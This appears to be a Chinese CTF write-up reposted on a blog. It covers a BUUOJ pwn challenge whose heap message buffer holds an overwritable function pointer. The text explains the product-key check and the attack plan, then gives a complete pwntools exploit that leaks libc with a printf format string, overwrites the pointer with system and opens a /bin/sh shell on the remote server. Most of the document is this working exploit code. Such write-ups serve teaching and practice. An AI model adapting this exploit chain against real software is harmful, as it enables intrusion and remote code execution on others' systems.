跟堆无关也不关栈的事。
程序先在堆里开了片地,然后自己写。每个消息读入0x20字节,在0x18放个函数指针,正好写入数据时能写到函数指针上。
基本思路:
先把函数覆盖为printf,数据写'%p,'*8这样打出内存值找个libc里的地址得到libc,删掉再写/bin/sh;xxxx+system运行的时候就会运行syste(/bin/sh)
前边有个冒儿,就是算个key,输入12位数字,每4位看成一个10进制数,然后符合公式。这个数字有点大(虽然是10进制)也不容易暴出来,但是可以手工算,使这个式子等于0即可
if ( ((unsigned __int16)((((8 * (((v5 ^ 0xBCA2) + 30069) ^ v6)) | ((unsigned __int16)(((v5 ^ 0xBCA2) + 30069) ^ v6) >> 13)) + (v5 ^ 0x1806 ^ ((v5 ^ 0xBCA2) + 30069) ^ v6 ^ 0xFF0)) ^ v7) | (((unsigned __int16)(((v5 ^ 0xBCA2) + 30069) ^ v6) | ((unsigned __int64)(v5 ^ 0x1806u) << 16)) << 16)) << 16 ) { puts("Wrong!"); exit(-1); }
手工推法:
完整exp:
from pwn import * local = 0 if local == 1: p = process('./pwn') libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so") one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ] libc_start_main_ret = 0x20840 else: p = remote('node4.buuoj.cn', 25132) libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so') one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ] libc_start_main_ret = 0x20830 elf = ELF('./pwn') context.arch = 'amd64' p.sendlineafter(b"input product key: ", b'615066814080') menu = b"choice >> " def add(msg): p.sendlineafter(menu, b'1') p.sendafter(b"insert >> ", msg) def show(): p.sendlineafter(menu, b'3') def free(idx): p.sendlineafter(menu, b'2') p.sendlineafter(b"choice>> ", str(idx).encode()) context.log_level = 'debug' #gdb.attach(p, 'b*0x400a24') add(b'%p,'*8 + p64(elf.plt['printf'])) #+p64(elf.plt['printf']) show() #第一次运行输入3会得到x00 没仔细看原因,直接写两次,第2次就不会错了 show() p.recvuntil(b',0x400790,') libc_base = int(p.recvuntil(b',', drop=True) ,16) - 0x10 - libc_elf.sym['write'] system = libc_base + libc_elf.sym['system'] free(0) add(b'/bin/sh;'.ljust(0x18, b'a') + p64(system)) show() show() p.sendline(b'cat /flag') p.interactive()
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)